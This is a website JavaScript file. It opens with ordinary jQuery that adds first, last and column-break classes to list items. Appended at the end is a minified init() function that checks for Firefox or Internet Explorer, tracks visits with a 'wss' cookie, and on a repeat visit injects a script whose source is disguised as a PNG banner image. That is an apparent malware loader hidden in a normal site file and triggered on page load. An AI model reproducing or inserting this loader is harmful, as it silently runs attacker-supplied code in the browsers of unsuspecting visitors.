$(document).ready(function(){
	$("ul li:last-child").addClass("last_item");
	$("ul li:first-child").addClass("first_item");	


	$.each($('ul.jquery_picker'), function() {   	
		var class_name=$(this).attr('class');
		classes = class_name.split(" ");
		var num_cols = -1;
		for (var i = 0; i < classes.length; i++){			
			//if after splitting the class starts with a num_cols_
			if (classes[i].indexOf("num_cols_") >= 0){				
				num_cols = classes[i].split("num_cols_")[1];				
			}
		}
		
		if (num_cols > 0){
			var count = 0;
			$.each($('li', this), function() {   	
				count++;
				if (count % num_cols == 0){
					$(this).addClass('list_break');
				}				
			});
		}		
	});		
});

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/pinnacle/pinnacle_side_banner.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
